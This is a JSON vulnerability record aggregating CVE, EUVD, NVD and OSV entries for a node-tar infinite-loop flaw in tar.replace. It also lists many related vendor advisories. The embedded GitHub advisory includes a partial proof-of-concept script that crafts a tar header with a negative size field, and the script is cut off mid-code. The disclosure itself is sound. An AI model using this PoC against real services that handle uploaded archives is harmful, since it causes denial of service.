{"id":"CVE-2026-59874","revision":null,"records":[{"revision":"133cbc1139e04af18ee0450b536cb866","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-59874","aliases":[],"title":"node-tar: Negative tar entry size causes infinite loop in archive replace","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.18, tar.replace accepts a checksum-valid tar header with a negative base-256 encoded entry size, causing the archive scanner to make no progress while repeatedly parsing the same header. This issue is fixed in version 7.5.18.","state":0,"publishedAt":"2026-07-08T15:23:47.527+00:00","modifiedAt":"2026-07-08T17:00:42.937+00:00","affected":[{"ecosystem":"Vendor product","name":"node-tar","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"isaacs\",\n                    \"product\": \"node-tar\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 7.5.18\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"severity":"HIGH"}],"references":["https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w","https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5","https://github.com/isaacs/node-tar/releases/tag/v7.5.18"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-59874","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-59874","identifiers":["CVE-2026-59874"]},"retained":false,"historicalAffected":[]},{"revision":"f4ab01e84f54436b94f3844cd2b568c3","observedAt":"2026-11-07T13:25:53.769+00:00","statement":{"source":"euvd","id":"EUVD-2026-42306","aliases":["CVE-2026-59874","GHSA-8x88-c5mf-7j5w"],"title":"node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.18, tar.replace accepts a checksum-valid tar header with a negative base-256 encoded entry size, causing the archive scanner to make no progress while repeatedly parsi…","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.18, tar.replace accepts a checksum-valid tar header with a negative base-256 encoded entry size, causing the archive scanner to make no progress while repeatedly parsing the same header. This issue is fixed in version 7.5.18.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"severity":null}],"references":["https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w","https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5","https://github.com/isaacs/node-tar/releases/tag/v7.5.18"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-42306","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 8, 2026, 3:23:47 PM","dateUpdated":"Jul 8, 2026, 5:00:42 PM"},"relatedAdvisories":[{"id":"RHSA-2026:49689","title":"Red Hat Security Advisory: Kiali 2.11.15 for Red Hat OpenShift Service Mesh 3.1","vulnerabilityIds":["CVE-2026-59869","CVE-2026-59873","CVE-2026-59874"]},{"id":"RHSA-2026:47060","title":"Red Hat Security Advisory: nodejs:24 security update","vulnerabilityIds":["CVE-2026-13149","CVE-2026-59873","CVE-2026-59874"]},{"id":"RHSA-2026:48124","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.29.1 Release.","vulnerabilityIds":["CVE-2026-6734","CVE-2026-9697","CVE-2026-12143","CVE-2026-12151","CVE-2026-13149","CVE-2026-13676","CVE-2026-33245","CVE-2026-42342","CVE-2026-44249","CVE-2026-44990","CVE-2026-45149","CVE-2026-48043","CVE-2026-50193","CVE-2026-54512","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874"]},{"id":"RHSA-2026:66545","title":"Red Hat Security Advisory: Red Hat AMQ Broker 7.13.6 release and security update","vulnerabilityIds":["CVE-2026-9595","CVE-2026-10050","CVE-2026-10051","CVE-2026-12143","CVE-2026-12151","CVE-2026-13149","CVE-2026-13676","CVE-2026-34478","CVE-2026-34480","CVE-2026-34481","CVE-2026-40984","CVE-2026-42198","CVE-2026-42264","CVE-2026-42338","CVE-2026-42578","CVE-2026-42581","CVE-2026-42584","CVE-2026-42587","CVE-2026-42588","CVE-2026-44248","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45205","CVE-2026-45416","CVE-2026-45736","CVE-2026-48779","CVE-2026-49362","CVE-2026-49363","CVE-2026-49364","CVE-2026-49432","CVE-2026-49978","CVE-2026-50010","CVE-2026-50734","CVE-2026-53916","CVE-2026-54512","CVE-2026-54513","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56746","CVE-2026-57822","CVE-2026-57967","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59888","CVE-2026-59899","CVE-2026-62243","CVE-2026-66257","CVE-2026-66273","CVE-2026-66274","CVE-2026-67593","CVE-2026-68494"]},{"id":"RHSA-2026:49681","title":"Red Hat Security Advisory: Kiali 2.17.12 for Red Hat OpenShift Service Mesh 3.2","vulnerabilityIds":["CVE-2026-59869","CVE-2026-59873","CVE-2026-59874"]},{"id":"RHSA-2026:57590","title":"Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update","vulnerabilityIds":["CVE-2026-9595","CVE-2026-12143","CVE-2026-13149","CVE-2026-13676","CVE-2026-14257","CVE-2026-34986","CVE-2026-42338","CVE-2026-42570","CVE-2026-44705","CVE-2026-45623","CVE-2026-45736","CVE-2026-45740","CVE-2026-48068","CVE-2026-48779","CVE-2026-48801","CVE-2026-49978","CVE-2026-56876","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59877","CVE-2026-69152","CVE-2026-69153","CVE-2026-69192"]},{"id":"RHSA-2026:48033","title":"Red Hat Security Advisory: nodejs22 security update","vulnerabilityIds":["CVE-2026-13149","CVE-2026-59873","CVE-2026-59874"]},{"id":"RHSA-2026:47057","title":"Red Hat Security Advisory: nodejs:24 security update","vulnerabilityIds":["CVE-2026-13149","CVE-2026-59873","CVE-2026-59874"]},{"id":"RHSA-2026:51200","title":"Red Hat Security Advisory: General availability of the satellite/iop-remediations-rhel9 container image","vulnerabilityIds":["CVE-2026-42338","CVE-2026-59873","CVE-2026-59874"]},{"id":"NCSC-2026-0325","title":"Kwetsbaarheden verholpen in Atlassian producten","vulnerabilityIds":["CVE-2021-44906","CVE-2022-3517","CVE-2023-45133","CVE-2025-14813","CVE-2026-0603","CVE-2026-2332","CVE-2026-3505","CVE-2026-4800","CVE-2026-6321","CVE-2026-6322","CVE-2026-10050","CVE-2026-12143","CVE-2026-12151","CVE-2026-12802","CVE-2026-12803","CVE-2026-12816","CVE-2026-13149","CVE-2026-13506","CVE-2026-13676","CVE-2026-14257","CVE-2026-14682","CVE-2026-16221","CVE-2026-18446","CVE-2026-21582","CVE-2026-24734","CVE-2026-25639","CVE-2026-27601","CVE-2026-27606","CVE-2026-29786","CVE-2026-40983","CVE-2026-40984","CVE-2026-41284","CVE-2026-41842","CVE-2026-41845","CVE-2026-41850","CVE-2026-41851","CVE-2026-41907","CVE-2026-42033","CVE-2026-42035","CVE-2026-42041","CVE-2026-42198","CVE-2026-42583","CVE-2026-42587","CVE-2026-43513","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44490","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45416","CVE-2026-45623","CVE-2026-46625","CVE-2026-47838","CVE-2026-48043","CVE-2026-48779","CVE-2026-48801","CVE-2026-50010","CVE-2026-53434","CVE-2026-54291","CVE-2026-54512","CVE-2026-54513","CVE-2026-55685","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56819","CVE-2026-58059","CVE-2026-58060","CVE-2026-59639","CVE-2026-59642","CVE-2026-59869","CVE-2026-59871","CVE-2026-59873","CVE-2026-59874","CVE-2026-59887","CVE-2026-59901","CVE-2026-67320","CVE-2026-69152","CVE-2026-69192"]},{"id":"RHSA-2026:49687","title":"Red Hat Security Advisory: Kiali 2.4.21 for Red Hat OpenShift Service Mesh 3.0","vulnerabilityIds":["CVE-2026-59869","CVE-2026-59873","CVE-2026-59874"]},{"id":"RHSA-2026:62260","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.0 Release.","vulnerabilityIds":["CVE-2025-55163","CVE-2026-8286","CVE-2026-9277","CVE-2026-9547","CVE-2026-9563","CVE-2026-10050","CVE-2026-10051","CVE-2026-12143","CVE-2026-12151","CVE-2026-13149","CVE-2026-15075","CVE-2026-15076","CVE-2026-27136","CVE-2026-34986","CVE-2026-39820","CVE-2026-39831","CVE-2026-39835","CVE-2026-40898","CVE-2026-40983","CVE-2026-40984","CVE-2026-41242","CVE-2026-41695","CVE-2026-41716","CVE-2026-42264","CVE-2026-42499","CVE-2026-44705","CVE-2026-45149","CVE-2026-45416","CVE-2026-45623","CVE-2026-45674","CVE-2026-46597","CVE-2026-46681","CVE-2026-47691","CVE-2026-48020","CVE-2026-48068","CVE-2026-48491","CVE-2026-49978","CVE-2026-50010","CVE-2026-50193","CVE-2026-53488","CVE-2026-53492","CVE-2026-53622","CVE-2026-54399","CVE-2026-54428","CVE-2026-54512","CVE-2026-54513","CVE-2026-54763","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56746","CVE-2026-56819","CVE-2026-59296","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59877","CVE-2026-59888","CVE-2026-59899","CVE-2026-65600","CVE-2026-65601","CVE-2026-67213","CVE-2026-67214","CVE-2026-68494","CVE-2026-69152","CVE-2026-69153","CVE-2026-73086","CVE-2026-73566","CVE-2026-73646","CVE-2026-75838"]},{"id":"WID-SEC-W-2026-2923","title":"Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye, und Jira): Mehrere Schwachstellen","vulnerabilityIds":["CVE-2019-13990","CVE-2021-44906","CVE-2022-1471","CVE-2022-23521","CVE-2022-3517","CVE-2022-41903","CVE-2023-22518","CVE-2023-22522","CVE-2023-22523","CVE-2023-22524","CVE-2023-22527","CVE-2023-45133","CVE-2023-46604","CVE-2025-14813","CVE-2026-0603","CVE-2026-10050","CVE-2026-12143","CVE-2026-12151","CVE-2026-12802","CVE-2026-12803","CVE-2026-12816","CVE-2026-13149","CVE-2026-13506","CVE-2026-13676","CVE-2026-14257","CVE-2026-14682","CVE-2026-16221","CVE-2026-18446","CVE-2026-21582","CVE-2026-2332","CVE-2026-24734","CVE-2026-25639","CVE-2026-27601","CVE-2026-27606","CVE-2026-29786","CVE-2026-3505","CVE-2026-40983","CVE-2026-40984","CVE-2026-41284","CVE-2026-41842","CVE-2026-41845","CVE-2026-41850","CVE-2026-41851","CVE-2026-41907","CVE-2026-42033","CVE-2026-42035","CVE-2026-42041","CVE-2026-42198","CVE-2026-42583","CVE-2026-42587","CVE-2026-43513","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44490","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45416","CVE-2026-45623","CVE-2026-46625","CVE-2026-47838","CVE-2026-4800","CVE-2026-48043","CVE-2026-48779","CVE-2026-48801","CVE-2026-50010","CVE-2026-53434","CVE-2026-54291","CVE-2026-54512","CVE-2026-54513","CVE-2026-55685","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56819","CVE-2026-58059","CVE-2026-58060","CVE-2026-59639","CVE-2026-59642","CVE-2026-59869","CVE-2026-59871","CVE-2026-59873","CVE-2026-59874","CVE-2026-59887","CVE-2026-59901","CVE-2026-6321","CVE-2026-6322","CVE-2026-67320","CVE-2026-69152","CVE-2026-69192"]},{"id":"RHSA-2026:52399","title":"security update for nodejs","vulnerabilityIds":["CVE-2026-12151","CVE-2026-13149","CVE-2026-42338","CVE-2026-48615","CVE-2026-48617","CVE-2026-48618","CVE-2026-48619","CVE-2026-48928","CVE-2026-48930","CVE-2026-48931","CVE-2026-48933","CVE-2026-48934","CVE-2026-48935","CVE-2026-48937","CVE-2026-59873","CVE-2026-59874"]},{"id":"msrc_CVE-2026-59874","title":"node-tar: Negative tar entry size causes infinite loop in archive replace","vulnerabilityIds":["CVE-2026-59874"]},{"id":"RHSA-2026:65126","title":"Red Hat Security Advisory: RHOAI 2.25.11 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2025-61729","CVE-2025-67030","CVE-2026-4926","CVE-2026-6734","CVE-2026-9563","CVE-2026-9697","CVE-2026-12151","CVE-2026-12243","CVE-2026-13149","CVE-2026-15075","CVE-2026-15154","CVE-2026-15378","CVE-2026-15581","CVE-2026-16745","CVE-2026-18608","CVE-2026-18611","CVE-2026-18617","CVE-2026-18620","CVE-2026-18621","CVE-2026-25681","CVE-2026-26996","CVE-2026-27136","CVE-2026-27904","CVE-2026-30922","CVE-2026-32283","CVE-2026-33231","CVE-2026-33810","CVE-2026-33811","CVE-2026-33814","CVE-2026-33870","CVE-2026-33871","CVE-2026-34445","CVE-2026-35536","CVE-2026-39821","CVE-2026-39829","CVE-2026-39835","CVE-2026-40171","CVE-2026-40192","CVE-2026-40895","CVE-2026-41178","CVE-2026-42027","CVE-2026-42215","CVE-2026-42284","CVE-2026-42338","CVE-2026-42502","CVE-2026-42508","CVE-2026-42578","CVE-2026-42579","CVE-2026-42581","CVE-2026-42583","CVE-2026-42584","CVE-2026-42587","CVE-2026-44240","CVE-2026-44244","CVE-2026-44249","CVE-2026-44431","CVE-2026-44893","CVE-2026-45112","CVE-2026-45416","CVE-2026-45623","CVE-2026-45674","CVE-2026-45736","CVE-2026-45819","CVE-2026-47691","CVE-2026-48043","CVE-2026-48059","CVE-2026-48586","CVE-2026-48779","CVE-2026-49978","CVE-2026-50010","CVE-2026-50193","CVE-2026-53550","CVE-2026-54293","CVE-2026-54512","CVE-2026-55685","CVE-2026-55831","CVE-2026-55833","CVE-2026-55851","CVE-2026-56745","CVE-2026-56746","CVE-2026-56819","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59885","CVE-2026-59899","CVE-2026-66036","CVE-2026-66039","CVE-2026-67313","CVE-2026-67320","CVE-2026-67322","CVE-2026-67323","CVE-2026-67324","CVE-2026-67325","CVE-2026-68494","CVE-2026-69112","CVE-2026-69152","CVE-2026-69192","CVE-2026-69243","CVE-2026-69244","CVE-2026-71281","CVE-2026-73088","CVE-2026-73089","CVE-2026-73415","CVE-2026-73417","CVE-2026-73566","CVE-2026-73622","CVE-2026-73623","CVE-2026-73624","CVE-2026-73625","CVE-2026-73627","CVE-2026-73643"]},{"id":"RHSA-2026:63371","title":"Red Hat Security Advisory: General availability of the satellite/iop-remediations-rhel9 container image","vulnerabilityIds":["CVE-2026-13149","CVE-2026-13676","CVE-2026-59873","CVE-2026-59874","CVE-2026-69152","CVE-2026-69192"]},{"id":"RHSA-2026:47059","title":"Red Hat Security Advisory: nodejs:22 security update","vulnerabilityIds":["CVE-2026-13149","CVE-2026-59873","CVE-2026-59874"]},{"id":"RHSA-2026:53298","title":"Red Hat Security Advisory: nodejs22 security update","vulnerabilityIds":["CVE-2026-13149","CVE-2026-59873","CVE-2026-59874"]},{"id":"RHSA-2026:47058","title":"Red Hat Security Advisory: nodejs:22 security update","vulnerabilityIds":["CVE-2026-13149","CVE-2026-59873","CVE-2026-59874"]},{"id":"RHSA-2026:42815","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.2 security update","vulnerabilityIds":["CVE-2026-13149","CVE-2026-13676","CVE-2026-44289","CVE-2026-44290","CVE-2026-44291","CVE-2026-44292","CVE-2026-45740","CVE-2026-48801","CVE-2026-49978","CVE-2026-59873","CVE-2026-59874"]},{"id":"RHSA-2026:68681","title":"Red Hat Security Advisory: Migration Toolkit for Containers (MTC) 1.8.17 update","vulnerabilityIds":["CVE-2026-14257","CVE-2026-16221","CVE-2026-27145","CVE-2026-33186","CVE-2026-33818","CVE-2026-42504","CVE-2026-56852","CVE-2026-56853","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-67313","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-69152","CVE-2026-69192","CVE-2026-73088","CVE-2026-73089","CVE-2026-73566","CVE-2026-73643","CVE-2026-73646","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-76844","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394"]},{"id":"RHSA-2026:60520","title":"Red Hat Security Advisory: RHOAI 3.4.4 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2025-66471","CVE-2025-66626","CVE-2025-71329","CVE-2025-71330","CVE-2026-0545","CVE-2026-2614","CVE-2026-5241","CVE-2026-5422","CVE-2026-6322","CVE-2026-6734","CVE-2026-8643","CVE-2026-9697","CVE-2026-12143","CVE-2026-12151","CVE-2026-12243","CVE-2026-12481","CVE-2026-13149","CVE-2026-13311","CVE-2026-13676","CVE-2026-13717","CVE-2026-14450","CVE-2026-15154","CVE-2026-15218","CVE-2026-15378","CVE-2026-15467","CVE-2026-15581","CVE-2026-16745","CVE-2026-18608","CVE-2026-18611","CVE-2026-18617","CVE-2026-18620","CVE-2026-18621","CVE-2026-18948","CVE-2026-18951","CVE-2026-18982","CVE-2026-25681","CVE-2026-27136","CVE-2026-32280","CVE-2026-32283","CVE-2026-33079","CVE-2026-33245","CVE-2026-33811","CVE-2026-33814","CVE-2026-34993","CVE-2026-35397","CVE-2026-39820","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39835","CVE-2026-40171","CVE-2026-41672","CVE-2026-41673","CVE-2026-41675","CVE-2026-42211","CVE-2026-42215","CVE-2026-42264","CVE-2026-42266","CVE-2026-42284","CVE-2026-42305","CVE-2026-42311","CVE-2026-42338","CVE-2026-42342","CVE-2026-42499","CVE-2026-42502","CVE-2026-42508","CVE-2026-42557","CVE-2026-44017","CVE-2026-44018","CVE-2026-44020","CVE-2026-44240","CVE-2026-44244","CVE-2026-44289","CVE-2026-44290","CVE-2026-44291","CVE-2026-44292","CVE-2026-44293","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44513","CVE-2026-44660","CVE-2026-44705","CVE-2026-44724","CVE-2026-44727","CVE-2026-44827","CVE-2026-44843","CVE-2026-45292","CVE-2026-45623","CVE-2026-45736","CVE-2026-45740","CVE-2026-45804","CVE-2026-46595","CVE-2026-46597","CVE-2026-46625","CVE-2026-47214","CVE-2026-48526","CVE-2026-48710","CVE-2026-48712","CVE-2026-48779","CVE-2026-48801","CVE-2026-49476","CVE-2026-49477","CVE-2026-49851","CVE-2026-49978","CVE-2026-50193","CVE-2026-53550","CVE-2026-54058","CVE-2026-54060","CVE-2026-54283","CVE-2026-54293","CVE-2026-55379","CVE-2026-55380","CVE-2026-55685","CVE-2026-56121","CVE-2026-56208","CVE-2026-56209","CVE-2026-56210","CVE-2026-56211","CVE-2026-58049","CVE-2026-59197","CVE-2026-59199","CVE-2026-59200","CVE-2026-59204","CVE-2026-59205","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59884","CVE-2026-59885","CVE-2026-59886","CVE-2026-64835","CVE-2026-64849","CVE-2026-69152","CVE-2026-69192","CVE-2026-69243","CVE-2026-69244"]},{"id":"RHSA-2026:66488","title":"Red Hat Security Advisory: Red Hat AMQ Broker 7.14.1 release and security update","vulnerabilityIds":["CVE-2025-14813","CVE-2026-0636","CVE-2026-5588","CVE-2026-9595","CVE-2026-10050","CVE-2026-10051","CVE-2026-12143","CVE-2026-12151","CVE-2026-13149","CVE-2026-13676","CVE-2026-34478","CVE-2026-34480","CVE-2026-34481","CVE-2026-40983","CVE-2026-40984","CVE-2026-42198","CVE-2026-42264","CVE-2026-42338","CVE-2026-42578","CVE-2026-42581","CVE-2026-42583","CVE-2026-42584","CVE-2026-42587","CVE-2026-42588","CVE-2026-44248","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44496","CVE-2026-44893","CVE-2026-45205","CVE-2026-45416","CVE-2026-45736","CVE-2026-48043","CVE-2026-48059","CVE-2026-48779","CVE-2026-49362","CVE-2026-49363","CVE-2026-49364","CVE-2026-49432","CVE-2026-49978","CVE-2026-50010","CVE-2026-50734","CVE-2026-53916","CVE-2026-54512","CVE-2026-54513","CVE-2026-55831","CVE-2026-55833","CVE-2026-55851","CVE-2026-56745","CVE-2026-56746","CVE-2026-56819","CVE-2026-57822","CVE-2026-57967","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59899","CVE-2026-62243","CVE-2026-66257","CVE-2026-66273","CVE-2026-66274","CVE-2026-67593","CVE-2026-68494"]},{"id":"RHSA-2026:48034","title":"Red Hat Security Advisory: nodejs24 security update","vulnerabilityIds":["CVE-2026-13149","CVE-2026-59873","CVE-2026-59874"]},{"id":"RHSA-2026:49680","title":"Red Hat Security Advisory: Kiali 2.22.8 for Red Hat OpenShift Service Mesh 3.3","vulnerabilityIds":["CVE-2026-49978","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59877"]},{"id":"RHSA-2026:73987","title":"Red Hat Security Advisory: RHOAI 3.3.7 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2025-61726","CVE-2025-66471","CVE-2025-71408","CVE-2026-1525","CVE-2026-1526","CVE-2026-1528","CVE-2026-2229","CVE-2026-5422","CVE-2026-6321","CVE-2026-6734","CVE-2026-9697","CVE-2026-11816","CVE-2026-11822","CVE-2026-11824","CVE-2026-12151","CVE-2026-13149","CVE-2026-15154","CVE-2026-15378","CVE-2026-16221","CVE-2026-16745","CVE-2026-18951","CVE-2026-23490","CVE-2026-25681","CVE-2026-27136","CVE-2026-27489","CVE-2026-27893","CVE-2026-28356","CVE-2026-28500","CVE-2026-28684","CVE-2026-31230","CVE-2026-31958","CVE-2026-32274","CVE-2026-32286","CVE-2026-32597","CVE-2026-33186","CVE-2026-33231","CVE-2026-33245","CVE-2026-33811","CVE-2026-33814","CVE-2026-33815","CVE-2026-33816","CVE-2026-34445","CVE-2026-34986","CVE-2026-34993","CVE-2026-35397","CVE-2026-35536","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39832","CVE-2026-39835","CVE-2026-40110","CVE-2026-41242","CVE-2026-42215","CVE-2026-42294","CVE-2026-42296","CVE-2026-42297","CVE-2026-42338","CVE-2026-42502","CVE-2026-42508","CVE-2026-44240","CVE-2026-44431","CVE-2026-44432","CVE-2026-44727","CVE-2026-44843","CVE-2026-45736","CVE-2026-46595","CVE-2026-48526","CVE-2026-48586","CVE-2026-48710","CVE-2026-48746","CVE-2026-48779","CVE-2026-49855","CVE-2026-53550","CVE-2026-54058","CVE-2026-54283","CVE-2026-55969","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-59197","CVE-2026-59199","CVE-2026-59200","CVE-2026-59204","CVE-2026-59205","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59884","CVE-2026-59885","CVE-2026-59886","CVE-2026-62384","CVE-2026-63310","CVE-2026-64834","CVE-2026-64835","CVE-2026-66036","CVE-2026-66037","CVE-2026-66038","CVE-2026-66040","CVE-2026-67322","CVE-2026-67323","CVE-2026-67325","CVE-2026-68770","CVE-2026-69152","CVE-2026-69192","CVE-2026-69243","CVE-2026-69244","CVE-2026-71281","CVE-2026-73089","CVE-2026-73415","CVE-2026-73417","CVE-2026-73627","CVE-2026-78682","CVE-2026-79674","CVE-2026-79675","CVE-2026-80205","CVE-2026-81722","CVE-2026-81724","CVE-2026-81727","CVE-2026-84375","CVE-2026-84445"]},{"id":"RHSA-2026:83598","title":"Red Hat Security Advisory: RHTAS 1.4.4 - Red Hat Trusted Artifact Signer Release","vulnerabilityIds":["CVE-2026-4800","CVE-2026-41178","CVE-2026-45623","CVE-2026-56854","CVE-2026-59873","CVE-2026-59874","CVE-2026-67213","CVE-2026-67214","CVE-2026-69153","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089","CVE-2026-73500","CVE-2026-73643","CVE-2026-73646","CVE-2026-84375","CVE-2026-84445","CVE-2026-93749"]},{"id":"WID-SEC-W-2026-2452","title":"Red Hat Ansible Automation Platform (node-tar, linkify-it, protobufjs, brace-expansion, fast-uri, DOMPurify): Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-59873","CVE-2026-59874","CVE-2026-48801","CVE-2026-44289","CVE-2026-44290","CVE-2026-44291","CVE-2026-44292","CVE-2026-45740","CVE-2026-13149","CVE-2026-13676","CVE-2026-49978"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-42306","identifiers":["EUVD-2026-42306","CVE-2026-59874","GHSA-8x88-c5mf-7j5w"]},"retained":false,"historicalAffected":[]},{"revision":"448dcdc02a6a4d79b4ed701f8f2e4372","observedAt":"2026-10-27T15:15:33.457+00:00","statement":{"source":"nvd","id":"CVE-2026-59874","aliases":[],"title":"node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.18, tar.replace accepts a checksum-valid tar header with a negative base-256 encoded entry size, causing the archive scanner to make no progress while repeatedly parsi…","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.18, tar.replace accepts a checksum-valid tar header with a negative base-256 encoded entry size, causing the archive scanner to make no progress while repeatedly parsing the same header. This issue is fixed in version 7.5.18.","state":0,"publishedAt":"2026-07-08T16:16:33.99+00:00","modifiedAt":"2026-10-25T17:10:00.197+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.7,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5","https://github.com/isaacs/node-tar/releases/tag/v7.5.18","https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59874","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-835"],"productCriteria":["cpe:2.3:a:isaacs:tar:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-07-08T16:16:33.990","lastModified":"2026-10-25T17:10:00.197"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-59874","identifiers":["CVE-2026-59874"]},"retained":false,"historicalAffected":[]},{"revision":"8395aaebbb154d91839abb1ad678e893","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-8x88-c5mf-7j5w","aliases":["CVE-2026-59874"],"title":"node-tar: Negative tar entry size causes infinite loop in archive replace","description":"### Summary\n\nA checksum-valid tar archive with a negative base-256 encoded entry size can make `tar.replace()` loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.\n\n### Details\n\nThe public `tar.replace()` API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.\n\nTar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.\n\nFor a size of `-512`, the computed body skip is `-512`. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.\n\nThis is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.\n\n### PoC\n\nSave as `poc.mjs` in a project with the vulnerable package installed and run:\n\n```bash\nnode poc.mjs\n```\n\n```js\nimport fs from 'node:fs'\nimport os from 'node:os'\nimport path from 'node:path'\nimport { spawnSync } from 'node:child_process'\n\nconst oct = (b, n, off, len) =>\n  b.write(n.toString(8).padStart(len - 1, '0') + '\\0', off, len, 'ascii')\n\nconst badHeader = () => {\n  const h = Buffer.alloc(512)\n\n  h.write('x', 0)\n  oct(h, 0o644, 100, 8)\n  oct(h, 0, 108, 8)\n  oct(h, 0, 116, 8)\n\n  // base-256 encoded -512 in the size field\n  Buffer.alloc(10, 0xff).copy(h, 124)\n  h[134] = 